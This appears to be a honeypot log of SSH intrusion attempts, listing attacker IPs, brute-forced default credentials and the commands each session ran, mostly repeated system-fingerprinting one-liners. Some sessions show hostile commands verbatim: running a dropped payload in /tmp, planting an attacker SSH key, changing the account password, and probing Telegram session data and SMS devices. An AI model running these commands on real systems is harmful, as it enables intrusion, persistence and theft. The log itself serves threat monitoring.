$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 reef_root_3 (209.38.80.143) β€” Sydney, Australia Β· 3 sessions Β· 12 cmds
2026-03-15 00:36 EDT Β· as root/admin, root/password, root/root
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 strudel_pi_2 (139.59.144.155) β€” Frankfurt am Main, Germany Β· 1 session Β· 4 cmds
2026-03-14 23:50 EDT Β· as pi/raspberry
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 dutch_root_9 (167.172.42.141) β€” Amsterdam, Netherlands Β· 8 sessions Β· 32 cmds
2026-03-14 23:14 EDT Β· as root/1234, root/123456, root/12345678
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 scone_root_12 (138.68.145.55) β€” Slough, United Kingdom Β· 11 sessions Β· 44 cmds
2026-03-14 23:00 EDT Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 11x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—11
$ uname -s -v -n -m 2 > /dev/null Γ—11
$ uname -m 2 > /dev/null Γ—11
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—11
🎭 sensei_root_2 (47.74.45.204) β€” Tokyo, Japan Β· 5 sessions Β· 5 cmds
2026-03-14 23:11 EDT Β· as oracle/!QAZ@WSX, oracle/oracle, pi/raspberry
Ran uname 5x across 5 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—5
🎭 k-pop_root_6 (14.53.61.63) β€” Uijeongbu-si, South Korea Β· 1 session Β· 9 cmds
2026-03-07 14:10 EST Β· as root/admin
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 spice_root_8 (165.22.218.212) β€” Bengaluru, India Β· 4 sessions Β· 16 cmds
2026-03-07 12:04 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 shadow_root (213.250.148.25) β€” Istanbul, Turkey Β· 21 sessions Β· 21 cmds
2026-03-07 09:15 EST Β· as admin/123456, admin/admin, admin/admin123
Ran uname 21x across 21 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—21
🎭 outback_root_4 (170.64.155.134) β€” Sydney, Australia Β· 12 sessions Β· 48 cmds
2026-03-07 08:44 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 12x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—12
$ uname -s -v -n -m 2 > /dev/null Γ—12
$ uname -m 2 > /dev/null Γ—12
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—12
🎭 star_root_16 (47.85.176.53) β€” Charlottesville, United States Β· 3 sessions Β· 12 cmds
2026-03-07 08:06 EST Β· as root/12345678, root/admin, root/qwerty
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 lotus_root_13 (139.59.1.253) β€” Bengaluru, India Β· 8 sessions Β· 32 cmds
2026-03-07 07:33 EST Β· as admin/123456, admin/admin, root/1234
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 bistro_root_5 (196.247.232.100) β€” Paris, France Β· 3 sessions Β· 3 cmds
2026-03-07 07:47 EST Β· as admin/admin, root/admin, root/toor
echo (repeated echo 3x)
$ echo OKTEST123 Γ—3
🎭 spice_root_9 (139.59.41.236) β€” Bengaluru, India Β· 5 sessions Β· 20 cmds
2026-03-07 07:34 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 kiwi_root_4 (170.64.209.162) β€” Sydney, Australia Β· 3 sessions Β· 12 cmds
2026-03-07 06:02 EST Β· as root/12345678, root/admin, root/toor
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 ghost_pi (175.110.235.108) β€” Jeddah, Saudi Arabia Β· 2 sessions Β· 3 cmds
2026-03-07 03:25 EST Β· as pi/raspberry
make executable β†’ execute payload β†’ execute from /tmp
$ cd /tmp && chmod +x o6yi5gGp && bash -c ./o6yi5gGp
↳ make executable
$ ./o6yi5gGp
↳ execute payload
$ scp -t /tmp/o6yi5gGp
↳ execute from /tmp
🎭 ghost_root_76 (152.42.212.36) β€” Singapore, Singapore Β· 1 session Β· 20 cmds
2026-03-06 23:52 EST Β· as postgres/postgres
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "postgres\nRPGrDKJNnjYi\nRPGrDKJNnjYi"|passwd|bash
$ Enter new UNIX password:
$ echo "postgres\nRPGrDKJNnjYi\nRPGrDKJNnjYi\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 wok_db_2 (36.99.46.24) β€” Guancheng, China Β· 1 session Β· 20 cmds
2026-03-06 23:37 EST Β· as postgres/postgres
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "postgres\nbyklremOSpWe\nbyklremOSpWe"|passwd|bash
$ Enter new UNIX password:
$ echo "postgres\nbyklremOSpWe\nbyklremOSpWe\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 tea_root_10 (188.166.151.247) β€” Slough, United Kingdom Β· 1 session Β· 4 cmds
2026-03-06 23:08 EST Β· as root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 reef_root_4 (170.64.199.191) β€” Sydney, Australia Β· 5 sessions Β· 20 cmds
2026-03-06 22:21 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 clog_root_3 (68.183.15.50) β€” Amsterdam, Netherlands Β· 3 sessions Β· 12 cmds
2026-03-06 22:15 EST Β· as admin/123456, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo 